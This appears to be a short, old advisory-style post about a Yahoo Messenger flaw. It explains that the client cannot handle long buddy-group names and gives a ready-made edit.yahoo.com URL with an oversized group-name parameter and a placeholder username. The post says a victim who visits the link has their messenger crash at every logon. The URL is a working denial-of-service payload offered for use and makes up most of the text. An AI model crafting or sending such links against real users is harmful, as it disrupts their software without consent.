When adding friends to your yahoo messenger you can click a link on their
profile. and it will put it in the friends group. The problem is with all
versions of yahoo messenger it cannot handle long group names. So if where
to visit.

http://edit.yahoo.com/config/set_buddygrp?.src=&.cmd=a&.bg=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&.bdl=YAHOONAME&.done=http%3a//profiles.yahoo.com/YAHOONAME

This would cause your yahoo messenger to crash by cauing an illegal
operation everytime you logon.
